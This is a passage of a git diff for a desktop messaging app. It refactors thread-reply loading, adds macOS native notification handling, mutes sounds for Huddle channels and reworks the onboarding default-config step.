+++ b/desktop/src/features/messages/ui/useNewMessageRecipients.ts
@@ -111,6 +111,7 @@ export function useNewMessageRecipients({
       : null;
     const eligibleAgentPubkeys = getMentionableAgentPubkeys({
       currentPubkey,
+      eligibilityScope: { type: "community" },
       managedAgentPubkeys: (managedAgentsQuery.data ?? []).map(
         (agent) => agent.pubkey,
       ),
diff --git a/desktop/src/features/messages/useThreadReplies.ts b/desktop/src/features/messages/useThreadReplies.ts
index 813fdc6b8b..bb1c2909b6 100644
--- a/desktop/src/features/messages/useThreadReplies.ts
+++ b/desktop/src/features/messages/useThreadReplies.ts
@@ -1,4 +1,9 @@
-import { useQuery, useQueryClient } from "@tanstack/react-query";
+import {
+  type QueryClient,
+  useQueries,
+  useQuery,
+  useQueryClient,
+} from "@tanstack/react-query";
 
 import {
   collectMessageIdsForAuxBackfill,
@@ -70,6 +75,35 @@ async function withThreadAux(
   return sortMessages([...replies, ...structuralAux, ...reactions]);
 }
 
+async function loadThreadReplies(
+  queryClient: QueryClient,
+  channelId: string,
+  rootId: string,
+): Promise<RelayEvent[]> {
+  const queryKey = threadRepliesKey(channelId, rootId);
+  const cacheAtStart = queryClient.getQueryData<RelayEvent[]>(queryKey) ?? [];
+  const idsAtStart = new Set(cacheAtStart.map((event) => event.id));
+  const replies: RelayEvent[] = [];
+  let cursor: ThreadCursor | null = null;
+  for (let page = 0; page < MAX_THREAD_PAGES; page += 1) {
+    const response = await getThreadReplies(rootId, channelId, {
+      limit: THREAD_PAGE_LIMIT,
+      cursor,
+    });
+    replies.push(...response.events);
+    if (!response.nextCursor) {
+      const fetched = await withThreadAux(channelId, rootId, replies);
+      const current = queryClient.getQueryData<RelayEvent[]>(queryKey) ?? [];
+      const receivedInFlight = current.filter(
+        (event) => !idsAtStart.has(event.id),
+      );
+      return sortMessages([...fetched, ...receivedInFlight]);
+    }
+    cursor = response.nextCursor;
+  }
+  throw new Error(`Thread ${rootId} exceeded the page safety limit.`);
+}
+
 /** Fetch a thread subtree into a cache independent from channel window pages. */
 export function useThreadReplies(
   activeChannel: Channel | null,
@@ -87,38 +121,36 @@ export function useThreadReplies(
       openThreadRootId !== null,
     queryFn: async (): Promise<RelayEvent[]> => {
       if (!activeChannel || !openThreadRootId) return [];
-      const cacheAtStart =
-        queryClient.getQueryData<RelayEvent[]>(queryKey) ?? [];
-      const idsAtStart = new Set(cacheAtStart.map((event) => event.id));
-      const replies: RelayEvent[] = [];
-      let cursor: ThreadCursor | null = null;
-      for (let page = 0; page < MAX_THREAD_PAGES; page += 1) {
-        const response = await getThreadReplies(
-          openThreadRootId,
-          activeChannel.id,
-          { limit: THREAD_PAGE_LIMIT, cursor },
-        );
-        replies.push(...response.events);
-        if (!response.nextCursor) {
-          const fetched = await withThreadAux(
-            activeChannel.id,
-            openThreadRootId,
-            replies,
-          );
-          const current =
-            queryClient.getQueryData<RelayEvent[]>(queryKey) ?? [];
-          const receivedInFlight = current.filter(
-            (event) => !idsAtStart.has(event.id),
-          );
-          return sortMessages([...fetched, ...receivedInFlight]);
-        }
-        cursor = response.nextCursor;
-      }
-      throw new Error(
-        `Thread ${openThreadRootId} exceeded the page safety limit.`,
-      );
+      return loadThreadReplies(queryClient, activeChannel.id, openThreadRootId);
     },
     staleTime: 0,
     gcTime: 60 * 60 * 1_000,
   });
 }
+
+/**
+ * Load every summarized reply subtree for a channel-style Huddle transcript.
+ * Ordinary channels keep replies in their thread panels; Huddles flatten those
+ * replies into the chat timeline so companion and in-app presentations show the
+ * same conversation without opening a transient thread surface.
+ */
+export function useThreadRepliesForRoots(
+  activeChannel: Channel | null,
+  rootIds: readonly string[],
+) {
+  const queryClient = useQueryClient();
+  const channelId = activeChannel?.id ?? "none";
+  return useQueries({
+    queries: rootIds.map((rootId) => ({
+      queryKey: threadRepliesKey(channelId, rootId),
+      enabled: activeChannel !== null && activeChannel.channelType !== "forum",
+      queryFn: () => loadThreadReplies(queryClient, channelId, rootId),
+      staleTime: 0,
+      gcTime: 60 * 60 * 1_000,
+    })),
+    combine: (results) => ({
+      events: sortMessages(results.flatMap((result) => result.data ?? [])),
+      isPending: results.some((result) => result.isPending),
+    }),
+  });
+}
diff --git a/desktop/src/features/notifications/hooks.test.mjs b/desktop/src/features/notifications/hooks.test.mjs
index e5b90f3acc..26fc4fedb5 100644
--- a/desktop/src/features/notifications/hooks.test.mjs
+++ b/desktop/src/features/notifications/hooks.test.mjs
@@ -37,7 +37,7 @@ const homeFeed = (feed) => ({
   meta: { since: 0, total: 0, generatedAt: 0 },
 });
 
-test("home badge items include locally unread activity and agent rows", () => {
+test("home badge excludes thread activity already shown in a channel preview", () => {
   const items = buildHomeBadgeFeedItems(
     homeFeed({
       mentions: [feedItem("mention", "mention")],
@@ -51,7 +51,12 @@ test("home badge items include locally unread activity and agent rows", () => {
         feedItem("read-agent", "agent_activity"),
       ],
     }),
-    [feedItem("thread-activity")],
+    [
+      {
+        ...feedItem("thread-activity"),
+        tags: ROOT_TAGS,
+      },
+    ],
     new Set(["locally-unread-activity", "locally-unread-agent"]),
   );
 
@@ -60,7 +65,6 @@ test("home badge items include locally unread activity and agent rows", () => {
     [
       "mention",
       "needs-action",
-      "thread-activity",
       "locally-unread-activity",
       "locally-unread-agent",
     ],
diff --git a/desktop/src/features/notifications/hooks.ts b/desktop/src/features/notifications/hooks.ts
index ccc9544f94..d70ac60b22 100644
--- a/desktop/src/features/notifications/hooks.ts
+++ b/desktop/src/features/notifications/hooks.ts
@@ -209,6 +209,29 @@ export function useNotificationSettings(pubkey?: string) {
     void refreshPermission();
   }, [normalizedPubkey]);
 
+  React.useEffect(() => {
+    const refreshWhenVisible = () => {
+      if (document.visibilityState === "visible") {
+        void refreshPermission();
+      }
+    };
+    document.addEventListener("visibilitychange", refreshWhenVisible);
+    window.addEventListener("focus", refreshWhenVisible);
+    return () => {
+      document.removeEventListener("visibilitychange", refreshWhenVisible);
+      window.removeEventListener("focus", refreshWhenVisible);
+    };
+  }, []);
+
+  React.useEffect(() => {
+    if (
+      settings.desktopEnabled &&
+      (permission === "denied" || permission === "unsupported")
+    ) {
+      setSettings((current) => ({ ...current, desktopEnabled: false }));
+    }
+  }, [permission, settings.desktopEnabled]);
+
   const setDesktopEnabled = React.useCallback(async (enabled: boolean) => {
     if (!enabled) {
       setErrorMessage(null);
@@ -352,6 +375,7 @@ export function useHomeFeedNotificationState(
   pubkey: string | undefined,
   settings: NotificationSettings,
   setDesktopEnabled: (enabled: boolean) => Promise<boolean>,
+  desktopNotificationsEnabled: boolean,
   isHomeActive: boolean,
   // NIP-RS read marker lookup, shared with the sidebar via AppShell. When
   // provided, channel-backed feed items are treated as read iff their
@@ -377,15 +401,18 @@ export function useHomeFeedNotificationState(
   // has not been advanced by opening Home.
   getMessageReadAt: (messageId: string) => number | null = () => null,
   channels: ReadonlyArray<Pick<Channel, "id" | "name" | "channelType">> = [],
+  silentChannelIds?: ReadonlySet<string>,
 ) {
   useFeedDesktopNotifications(
     feed,
     pubkey,
     settings,
     setDesktopEnabled,
+    desktopNotificationsEnabled,
     profiles,
     mutedChannelIds,
     channels,
+    silentChannelIds,
   );
   const normalizedPubkey = pubkey?.trim().toLowerCase() ?? "";
   const [seenFeedIds, setSeenFeedIds] = React.useState<string[]>(() =>
diff --git a/desktop/src/features/notifications/lib/desktop.ts b/desktop/src/features/notifications/lib/desktop.ts
index 380521e0f2..dbc21d9d23 100644
--- a/desktop/src/features/notifications/lib/desktop.ts
+++ b/desktop/src/features/notifications/lib/desktop.ts
@@ -8,9 +8,12 @@ import {
 } from "@tauri-apps/plugin-notification";
 import { isLinuxPlatform, isMacPlatform } from "@/shared/lib/platform";
 
-// Backend event emitted when the user clicks a native (Linux) notification.
-// See src-tauri/src/commands/notifications.rs.
+// Backend event emitted when a native Linux notification is clicked or a
+// queued macOS activation becomes available. See src-tauri notification code.
 const NATIVE_NOTIFICATION_ACTIVATED_EVENT = "native-notification-activated";
+const TAKE_PENDING_MACOS_NOTIFICATION_ACTIVATIONS = "take_pending_activations";
+const MACOS_NOTIFICATION_PERMISSION_STATE = "notification_permission_state";
+const REQUEST_MACOS_NOTIFICATION_ACCESS = "request_notification_access";
 
 export type DesktopNotificationPermissionState =
   | NotificationPermission
@@ -120,11 +123,29 @@ function dispatchDesktopNotificationTarget(target: DesktopNotificationTarget) {
   );
 }
 
+function shouldUseMacDevelopmentFallback(error: unknown): boolean {
+  return String(error).includes("not running from an app bundle");
+}
+
 export async function getDesktopNotificationPermissionState(): Promise<DesktopNotificationPermissionState> {
   if (!hasNotificationApi()) {
     return "unsupported";
   }
 
+  if (isTauri() && isMacPlatform()) {
+    try {
+      return await invoke<NotificationPermission>(
+        MACOS_NOTIFICATION_PERMISSION_STATE,
+      );
+    } catch (error) {
+      // The native API rejects the unbundled executable used by `tauri dev`.
+      // Preserve that development path through the plugin-backed shim.
+      if (!shouldUseMacDevelopmentFallback(error)) {
+        return "default";
+      }
+    }
+  }
+
   if (window.Notification.permission !== "default") {
     return window.Notification.permission;
   }
@@ -152,7 +173,18 @@ export async function requestDesktopNotificationAccess(): Promise<DesktopNotific
     return pendingPermissionRequest;
   }
 
-  pendingPermissionRequest = requestPermission().finally(() => {
+  const request =
+    isTauri() && isMacPlatform()
+      ? invoke<NotificationPermission>(REQUEST_MACOS_NOTIFICATION_ACCESS).catch(
+          (error) => {
+            if (shouldUseMacDevelopmentFallback(error)) {
+              return requestPermission();
+            }
+            throw error;
+          },
+        )
+      : requestPermission();
+  pendingPermissionRequest = request.finally(() => {
     pendingPermissionRequest = null;
   });
 
@@ -180,38 +212,73 @@ export async function listenForDesktopNotificationActions(
   let nativeUnlisten: (() => void) | null = null;
 
   if (isTauri()) {
-    try {
-      pluginListener = await onAction((notification) => {
-        const target = parseNotificationTarget(
-          notification.extra?.buzzNotificationTarget,
+    const usesMacActivationQueue = isMacPlatform();
+
+    if (!isLinuxPlatform() && !usesMacActivationQueue) {
+      try {
+        pluginListener = await onAction((notification) => {
+          const target = parseNotificationTarget(
+            notification.extra?.buzzNotificationTarget,
+          );
+          if (!target) {
+            return;
+          }
+
+          dispatchDesktopNotificationTarget(target);
+        });
+      } catch {
+        pluginListener = null;
+      }
+    }
+
+    // Linux forwards the target as the event payload. macOS queues targets in
+    // Rust first so cold-start clicks survive until this listener is mounted.
+    const dispatchNativeActivations = async (payload?: unknown) => {
+      if (usesMacActivationQueue) {
+        const targets = await invoke<unknown[]>(
+          TAKE_PENDING_MACOS_NOTIFICATION_ACTIVATIONS,
         );
-        if (!target) {
-          return;
+        for (const pendingTarget of targets) {
+          const target = parseNotificationTarget(pendingTarget);
+          if (target) {
+            dispatchDesktopNotificationTarget(target);
+          }
         }
+        return;
+      }
 
+      const target = parseNotificationTarget(payload);
+      if (target) {
         dispatchDesktopNotificationTarget(target);
-      });
-    } catch {
-      pluginListener = null;
-    }
+      }
+    };
 
-    // Clicks on Linux notifications come back via a backend event rather than
-    // the plugin's onAction (whose connection is torn down before it can fire).
     try {
       nativeUnlisten = await listen<unknown>(
         NATIVE_NOTIFICATION_ACTIVATED_EVENT,
         (event) => {
-          const target = parseNotificationTarget(event.payload);
-          if (!target) {
-            return;
-          }
-
-          dispatchDesktopNotificationTarget(target);
+          void dispatchNativeActivations(event.payload).catch((error) => {
+            console.error(
+              "Failed to dispatch native notification activation",
+              error,
+            );
+          });
         },
       );
     } catch {
       nativeUnlisten = null;
     }
+
+    if (nativeUnlisten && usesMacActivationQueue) {
+      try {
+        await dispatchNativeActivations();
+      } catch (error) {
+        console.error(
+          "Failed to drain pending macOS notification activations",
+          error,
+        );
+      }
+    }
   }
 
   return () => {
@@ -293,11 +360,10 @@ export async function sendDesktopNotification(
     return false;
   }
 
-  // On Linux the bundled notification plugin posts via a D-Bus connection that
-  // it drops immediately; GNOME 46+ then dismisses the notification before it
-  // is seen. Route through a backend command that keeps the connection alive.
+  // Linux needs a retained D-Bus connection. macOS needs a native notification
+  // center delegate because the Tauri plugin does not deliver desktop clicks.
   // See src-tauri/src/commands/notifications.rs.
-  if (isTauri() && isLinuxPlatform()) {
+  if (isTauri() && (isLinuxPlatform() || isMacPlatform())) {
     try {
       await invoke("show_native_notification", {
         title: payload.title,
@@ -306,7 +372,12 @@ export async function sendDesktopNotification(
       });
       return true;
     } catch {
-      return false;
+      if (!isMacPlatform()) {
+        return false;
+      }
+      // UNUserNotificationCenter is unavailable to the unbundled executable
+      // used by Tauri dev. Preserve the previous macOS development behavior by
+      // falling through to the notification plugin; packaged apps use native UN.
     }
   }
 
diff --git a/desktop/src/features/notifications/lib/homeBadge.ts b/desktop/src/features/notifications/lib/homeBadge.ts
index deac9b73a5..b98db88e0b 100644
--- a/desktop/src/features/notifications/lib/homeBadge.ts
+++ b/desktop/src/features/notifications/lib/homeBadge.ts
@@ -24,9 +24,19 @@ export function buildHomeBadgeFeedItems(
   extraInboxItems: readonly FeedItem[],
   localUnreadFeedIds: ReadonlySet<string>,
 ): FeedItem[] {
+  // Thread activity is surfaced directly on its channel's hover preview. It
+  // should not also inflate the Inbox numeral, which is reserved for the
+  // Inbox's own high-priority activity.
+  const nonThreadExtraInboxItems = extraInboxItems.filter(
+    (item) => !isThreadReply(item.tags),
+  );
   const items = feed
-    ? [...feed.feed.mentions, ...feed.feed.needsAction, ...extraInboxItems]
-    : [...extraInboxItems];
+    ? [
+        ...feed.feed.mentions,
+        ...feed.feed.needsAction,
+        ...nonThreadExtraInboxItems,
+      ]
+    : [...nonThreadExtraInboxItems];
 
   if (feed && localUnreadFeedIds.size > 0) {
     items.push(
diff --git a/desktop/src/features/notifications/lib/sound.test.mjs b/desktop/src/features/notifications/lib/sound.test.mjs
new file mode 100644
index 0000000000..dfa9c84060
--- /dev/null
+++ b/desktop/src/features/notifications/lib/sound.test.mjs
@@ -0,0 +1,18 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { shouldPlayNotificationSound } from "./sound.ts";
+
+test("silences notifications from Huddle backing channels", () => {
+  const silentChannelIds = new Set(["active-huddle"]);
+
+  assert.equal(
+    shouldPlayNotificationSound("active-huddle", silentChannelIds),
+    false,
+  );
+  assert.equal(
+    shouldPlayNotificationSound("ordinary-channel", silentChannelIds),
+    true,
+  );
+  assert.equal(shouldPlayNotificationSound(null, silentChannelIds), true);
+});
diff --git a/desktop/src/features/notifications/lib/sound.ts b/desktop/src/features/notifications/lib/sound.ts
index e9fa8cb9f0..1e9ccb3839 100644
--- a/desktop/src/features/notifications/lib/sound.ts
+++ b/desktop/src/features/notifications/lib/sound.ts
@@ -128,6 +128,13 @@ export function slotForFeedKind(
   return "needs_action";
 }
 
+export function shouldPlayNotificationSound(
+  channelId: string | null | undefined,
+  silentChannelIds?: ReadonlySet<string>,
+): boolean {
+  return !channelId || !silentChannelIds?.has(channelId);
+}
+
 const cache = new Map<SoundName, HTMLAudioElement>();
 
 function getAudio(name: SoundName): HTMLAudioElement {
diff --git a/desktop/src/features/notifications/use-feed-desktop-notifications.ts b/desktop/src/features/notifications/use-feed-desktop-notifications.ts
index e7b4d726a3..b58e260ec2 100644
--- a/desktop/src/features/notifications/use-feed-desktop-notifications.ts
+++ b/desktop/src/features/notifications/use-feed-desktop-notifications.ts
@@ -22,6 +22,7 @@ import {
 import {
   playNotificationSound,
   resolveSlotSound,
+  shouldPlayNotificationSound,
   slotForFeedKind,
 } from "./lib/sound";
 import type { NotificationSettings } from "./hooks";
@@ -73,9 +74,11 @@ export function useFeedDesktopNotifications(
   pubkey: string | undefined,
   settings: NotificationSettings,
   setDesktopEnabled: (enabled: boolean) => Promise<boolean>,
+  enabled: boolean,
   profiles?: UserProfileLookup,
   mutedChannelIds?: ReadonlySet<string>,
   channels: readonly NotificationChannel[] = [],
+  silentChannelIds?: ReadonlySet<string>,
 ) {
   const normalizedPubkey = pubkey?.trim().toLowerCase() ?? "";
   const seenItemIdsRef = React.useRef<Set<string>>(
@@ -125,7 +128,10 @@ export function useFeedDesktopNotifications(
         title: notificationTitle(item, senderName),
       });
 
-      if (didSend) {
+      if (
+        didSend &&
+        shouldPlayNotificationSound(item.channelId, silentChannelIds)
+      ) {
         const slot = slotForFeedKind(item.kind, item.category);
         playNotificationSound(resolveSlotSound(settings, slot));
       }
@@ -133,7 +139,7 @@ export function useFeedDesktopNotifications(
   );
 
   React.useEffect(() => {
-    if (!feed) {
+    if (!enabled || !feed) {
       return;
     }
 
@@ -214,6 +220,7 @@ export function useFeedDesktopNotifications(
       void deliverFeedNotification(item, senderName);
     }
   }, [
+    enabled,
     feed,
     channels,
     mutedChannelIds,
diff --git a/desktop/src/features/onboarding/communityOnboarding.tsx b/desktop/src/features/onboarding/communityOnboarding.tsx
index bbb636b3a1..99da68aa95 100644
--- a/desktop/src/features/onboarding/communityOnboarding.tsx
+++ b/desktop/src/features/onboarding/communityOnboarding.tsx
@@ -329,14 +329,17 @@ const CommunityOnboardingContext =
 
 export function CommunityOnboardingProvider({
   children,
+  enabled = true,
 }: {
   children: React.ReactNode;
+  enabled?: boolean;
 }) {
-  const [transaction, setTransaction] = React.useState(
-    loadCommunityOnboardingTransaction,
+  const [transaction, setTransaction] = React.useState(() =>
+    enabled ? loadCommunityOnboardingTransaction() : null,
   );
   const start = React.useCallback(
     (input: StartCommunityOnboardingInput) => {
+      if (!enabled) return false;
       if (
         transaction &&
         canonicalRelayUrl(input.relayUrl) !== transaction.relayUrl
@@ -346,20 +349,22 @@ export function CommunityOnboardingProvider({
       setTransaction(startCommunityOnboarding(input));
       return true;
     },
-    [transaction],
+    [enabled, transaction],
   );
   const update = React.useCallback(
     (patch: CommunityOnboardingTransactionPatch, expectedId?: string) => {
+      if (!enabled) return;
       setTransaction((current) =>
         updateCurrentCommunityOnboardingTransaction(current, patch, expectedId),
       );
     },
-    [],
+    [enabled],
   );
   const clear = React.useCallback(() => {
+    if (!enabled) return;
     clearCommunityOnboardingTransaction();
     setTransaction(null);
-  }, []);
+  }, [enabled]);
   const value = React.useMemo(
     () => ({ transaction, start, update, clear }),
     [clear, start, transaction, update],
diff --git a/desktop/src/features/onboarding/ui/DefaultConfigStep.tsx b/desktop/src/features/onboarding/ui/DefaultConfigStep.tsx
index 50887f08aa..78a7a32db8 100644
--- a/desktop/src/features/onboarding/ui/DefaultConfigStep.tsx
+++ b/desktop/src/features/onboarding/ui/DefaultConfigStep.tsx
@@ -10,7 +10,6 @@ import {
 } from "@/features/agents/ui/AgentConfigFields";
 import { resetConfigForHarnessChange } from "@/features/agents/ui/agentConfigOptions";
 import { AgentDropdownSelect } from "@/features/agents/ui/agentConfigControls";
-import { createSaveCoalescer } from "./saveCoalescer";
 import { getBakedBuildEnv, type BakedEnvEntry } from "@/shared/api/tauri";
 import {
   getGlobalAgentConfig,
@@ -32,11 +31,12 @@ import {
   getReadyOnboardingRuntimes,
   getVisibleOnboardingRuntimes,
 } from "./onboardingRuntimeSelection";
-import type { DefaultConfigStepActions } from "./types";
+import type { DefaultConfigDraft, DefaultConfigStepActions } from "./types";
 
 type DefaultConfigStepProps = {
   actions: DefaultConfigStepActions;
   direction: OnboardingTransitionDirection;
+  draft: DefaultConfigDraft | null;
   readyRuntimeIds: readonly string[];
 };
 
@@ -46,28 +46,40 @@ function formatHarnessLabel(runtime: AcpRuntimeCatalogEntry | undefined) {
 }
 
 function AgentDefaultsSection({
+  draft,
+  isPending,
+  onDraftChange,
   onPersistenceStateChange,
   readyRuntimeIds,
 }: {
+  draft: DefaultConfigDraft | null;
+  isPending: boolean;
+  onDraftChange: (draft: DefaultConfigDraft) => void;
   onPersistenceStateChange: (state: {
     canComplete: boolean;
-    flush: () => Promise<void>;
+    commit: () => Promise<void>;
   }) => void;
   readyRuntimeIds: readonly string[];
 }) {
   const runtimesQuery = useAcpRuntimesQuery();
-  const [config, setConfig] =
-    React.useState<GlobalAgentConfig>(EMPTY_GLOBAL_CONFIG);
-  const [isLoading, setIsLoading] = React.useState(true);
-  const [isCustomProvider, setIsCustomProvider] = React.useState(false);
-  const [isCustomModelEditing, setIsCustomModelEditing] = React.useState(false);
+  const initialDraftRef = React.useRef(draft);
+  const [config, setConfig] = React.useState<GlobalAgentConfig>(
+    initialDraftRef.current?.config ?? EMPTY_GLOBAL_CONFIG,
+  );
+  const [isLoading, setIsLoading] = React.useState(
+    initialDraftRef.current === null,
+  );
+  const [isCustomProvider, setIsCustomProvider] = React.useState(
+    initialDraftRef.current?.isCustomProvider ?? false,
+  );
+  const [isCustomModelEditing, setIsCustomModelEditing] = React.useState(
+    initialDraftRef.current?.isCustomModelEditing ?? false,
+  );
   const [bakedEnv, setBakedEnv] = React.useState<BakedEnvEntry[]>([]);
-  const coalescerRef = React.useRef<{
-    enqueue: (value: GlobalAgentConfig) => void;
-    flush: () => Promise<void>;
-    cancel: () => void;
-  } | null>(null);
-  const [isSaving, setIsSaving] = React.useState(false);
+  const configRef = React.useRef<GlobalAgentConfig>(
+    initialDraftRef.current?.config ?? EMPTY_GLOBAL_CONFIG,
+  );
+  const isDirtyRef = React.useRef(initialDraftRef.current?.isDirty ?? false);
   const [configIsValid, setConfigIsValid] = React.useState(false);
 
   React.useEffect(() => {
@@ -81,7 +93,11 @@ function AgentDefaultsSection({
 
       if (unmounted) return;
 
-      if (configResult.status === "fulfilled") {
+      if (
+        initialDraftRef.current === null &&
+        configResult.status === "fulfilled"
+      ) {
+        configRef.current = configResult.value;
         setConfig(configResult.value);
       }
       if (bakedEnvResult.status === "fulfilled") {
@@ -92,25 +108,8 @@ function AgentDefaultsSection({
 
     void loadDefaults();
 
-    // The coalescer serializes autosaves and drains any edit that arrived
-    // while a previous save was in flight. Cancel on unmount so a slow
-    // in-flight request never calls setState on an unmounted component.
-    const coalescer = createSaveCoalescer<GlobalAgentConfig>(
-      // set_global_agent_config returns a save result (config + restart
-      // counts); the coalescer round-trips the persisted config only.
-      async (next) => (await setGlobalAgentConfig(next)).config,
-      (saving) => {
-        if (!unmounted) setIsSaving(saving);
-      },
-      (saved) => {
-        if (!unmounted) setConfig(saved);
-      },
-    );
-    coalescerRef.current = coalescer;
-
     return () => {
       unmounted = true;
-      coalescer.cancel();
     };
   }, []);
 
@@ -160,15 +159,33 @@ function AgentDefaultsSection({
     [readyRuntimes],
   );
 
+  const updateDraft = React.useCallback(
+    (next: GlobalAgentConfig, overrides: Partial<DefaultConfigDraft> = {}) => {
+      isDirtyRef.current = overrides.isDirty ?? true;
+      configRef.current = next;
+      setConfig(next);
+      onDraftChange({
+        config: next,
+        isCustomModelEditing,
+        isCustomProvider,
+        isDirty: isDirtyRef.current,
+        ...overrides,
+      });
+    },
+    [isCustomModelEditing, isCustomProvider, onDraftChange],
+  );
+
   const handleHarnessChange = React.useCallback(
     (runtimeId: string) => {
       const next = resetConfigForHarnessChange(config, runtimeId);
       setIsCustomModelEditing(false);
       setIsCustomProvider(false);
-      setConfig(next);
-      coalescerRef.current?.enqueue(next);
+      updateDraft(next, {
+        isCustomModelEditing: false,
+        isCustomProvider: false,
+      });
     },
-    [config],
+    [config, updateDraft],
   );
 
   React.useEffect(() => {
@@ -182,28 +199,34 @@ function AgentDefaultsSection({
     selectedRuntimeId,
   ]);
 
-  const flushPersistence = React.useCallback(
-    () => coalescerRef.current?.flush() ?? Promise.resolve(),
-    [],
-  );
+  const commitPersistence = React.useCallback(async () => {
+    if (!isDirtyRef.current) return;
+    const saved = await setGlobalAgentConfig(configRef.current);
+    isDirtyRef.current = false;
+    configRef.current = saved.config;
+    setConfig(saved.config);
+  }, []);
   React.useEffect(() => {
     onPersistenceStateChange({
       // configIsValid comes from AgentConfigFields' onValidityChange and
       // covers model + provider credentials — a harness selection alone is
       // not a working default (e.g. buzz-agent with no provider configured).
-      canComplete: selectedRuntimeId.length > 0 && configIsValid && !isSaving,
-      flush: flushPersistence,
+      canComplete: selectedRuntimeId.length > 0 && configIsValid,
+      commit: commitPersistence,
     });
   }, [
+    commitPersistence,
     configIsValid,
-    flushPersistence,
-    isSaving,
     onPersistenceStateChange,
     selectedRuntimeId,
   ]);
 
   return (
-    <section className="w-full space-y-4 text-left text-sm">
+    <fieldset
+      aria-busy={isPending}
+      className="w-full space-y-4 text-left text-sm disabled:pointer-events-none disabled:opacity-70"
+      disabled={isPending}
+    >
       {configSurfaceLoading ? (
         <div className="flex items-center justify-center gap-2 py-4 text-sm text-muted-foreground">
           <Spinner className="h-4 w-4 border-2" />
@@ -240,15 +263,25 @@ function AgentDefaultsSection({
             config={config}
             isCustomModelEditing={isCustomModelEditing}
             isCustomProvider={isCustomProvider}
-            onConfigChange={(next) => {
-              // Always apply optimistically so the UI never reverts mid-save,
-              // then enqueue the persist — the coalescer serialises multiple
-              // rapid edits into a single trailing request.
-              setConfig(next);
-              coalescerRef.current?.enqueue(next);
+            onConfigChange={updateDraft}
+            onCustomModelEditingChange={(next) => {
+              setIsCustomModelEditing(next);
+              onDraftChange({
+                config: configRef.current,
+                isCustomModelEditing: next,
+                isCustomProvider,
+                isDirty: isDirtyRef.current,
+              });
+            }}
+            onIsCustomProviderChange={(next) => {
+              setIsCustomProvider(next);
+              onDraftChange({
+                config: configRef.current,
+                isCustomModelEditing,
+                isCustomProvider: next,
+                isDirty: isDirtyRef.current,
+              });
             }}
-            onCustomModelEditingChange={setIsCustomModelEditing}
-            onIsCustomProviderChange={setIsCustomProvider}
             onValidityChange={setConfigIsValid}
             placeholderClassName="text-foreground/70"
             runtimeFileConfig={runtimeFileConfig}
@@ -259,7 +292,7 @@ function AgentDefaultsSection({
           />
         </div>
       )}
-    </section>
+    </fieldset>
   );
 }
 
@@ -271,28 +304,39 @@ function AgentDefaultsSection({
 export function DefaultConfigStep({
   actions,
   direction,
+  draft,
   readyRuntimeIds,
 }: DefaultConfigStepProps) {
   const [persistenceState, setPersistenceState] = React.useState<{
     canComplete: boolean;
-    flush: () => Promise<void>;
-  }>({ canComplete: false, flush: () => Promise.resolve() });
-  const [completionError, setCompletionError] = React.useState<string | null>(
-    null,
-  );
-  const [isCompleting, setIsCompleting] = React.useState(false);
+    commit: () => Promise<void>;
+  }>({ canComplete: false, commit: () => Promise.resolve() });
+  const [isSaving, setIsSaving] = React.useState(false);
+  const [saveError, setSaveError] = React.useState<string | null>(null);
 
   const handleComplete = React.useCallback(async () => {
-    setIsCompleting(true);
-    setCompletionError(null);
+    if (isSaving) return;
+    setIsSaving(true);
+    setSaveError(null);
     try {
-      await persistenceState.flush();
+      await persistenceState.commit();
+      actions.discardDraft();
       actions.complete();
-    } catch {
-      setCompletionError("Couldn't save your default harness. Try again.");
-      setIsCompleting(false);
+    } catch (cause) {
+      setSaveError(
+        cause instanceof Error
+          ? cause.message
+          : "Couldn’t save model settings.",
+      );
+    } finally {
+      setIsSaving(false);
     }
-  }, [actions, persistenceState]);
+  }, [actions, isSaving, persistenceState]);
+
+  const handleSkip = React.useCallback(() => {
+    actions.discardDraft();
+    actions.complete();
+  }, [actions]);
 
   return (
     <OnboardingSlideTransition
@@ -315,40 +359,65 @@ export function DefaultConfigStep({
       <div className="flex w-full flex-1 items-center justify-center py-10">
         <div className="w-full max-w-[328px]">
           <AgentDefaultsSection
+            draft={draft}
+            isPending={isSaving}
+            onDraftChange={actions.updateDraft}
             onPersistenceStateChange={setPersistenceState}
             readyRuntimeIds={readyRuntimeIds}
           />
-          {completionError ? (
-            <p
-              className="mt-3 text-center text-xs text-destructive"
-              role="alert"
-            >
-              {completionError}
-            </p>
-          ) : null}
         </div>
       </div>
 
       <OnboardingFooter>
-        <Button
-          className={`${ONBOARDING_PRIMARY_CTA_CLASS} text-sm`}
-          data-testid="onboarding-finish"
-          disabled={!persistenceState.canComplete || isCompleting}
-          onClick={() => void handleComplete()}
-          type="button"
-        >
-          Next
-        </Button>
+        {/* Keep Next centered while the optional action sits beside it. */}
+        <div className="relative flex items-center justify-center">
+          <Button
+            className={`${ONBOARDING_PRIMARY_CTA_CLASS} text-sm`}
+            data-testid="onboarding-finish"
+            disabled={!persistenceState.canComplete || isSaving}
+            onClick={() => void handleComplete()}
+            type="button"
+          >
+            {isSaving ? "Saving…" : "Next"}
+          </Button>
+          <Button
+            className="absolute left-full ml-3 h-9 animate-in whitespace-nowrap rounded-full px-6 text-sm fade-in fill-mode-backwards [animation-delay:1000ms] animation-duration-[500ms] hover:bg-foreground/10 motion-reduce:animate-none"
+            data-testid="onboarding-config-skip"
+            disabled={isSaving}
+            onClick={handleSkip}
+            type="button"
+            variant="ghost"
+          >
+            Skip for now
+          </Button>
+        </div>
 
         <Button
           className="h-9 rounded-full bg-foreground/10 px-6 text-sm hover:bg-foreground/15"
           data-testid="onboarding-back"
+          disabled={isSaving}
           onClick={actions.back}
           type="button"
           variant="ghost"
         >
           Back
         </Button>
+
+        {saveError ? (
+          <p
+            className="max-w-[440px] text-center text-xs text-destructive"
+            data-testid="onboarding-config-save-error"
+            role="alert"
+          >
+            Couldn’t save model settings. {saveError} Try again.
+          </p>
+        ) : null}
+
+        <p className="text-xs text-foreground/50">
+          Configure default models in{" "}
+          <span className="text-foreground/70">Settings → Agents</span> after
+          setup.
+        </p>
       </OnboardingFooter>
     </OnboardingSlideTransition>
   );
diff --git a/desktop/src/features/onboarding/ui/InviteRedeemForm.tsx b/desktop/src/features/onboarding/ui/InviteRedeemForm.tsx
index fa50552ba2..6028b36c64 100644
--- a/desktop/src/features/onboarding/ui/InviteRedeemForm.tsx
+++ b/desktop/src/features/onboarding/ui/InviteRedeemForm.tsx
@@ -54,7 +54,7 @@ type InviteRedeemFormProps = {
   initialValue?: string;
   isRedeeming: boolean;
   onCancel: () => void;
-  onConnect?: (relayWsUrl: string, token?: string) => void;
+  onConnect?: (relayWsUrl: string) => void;
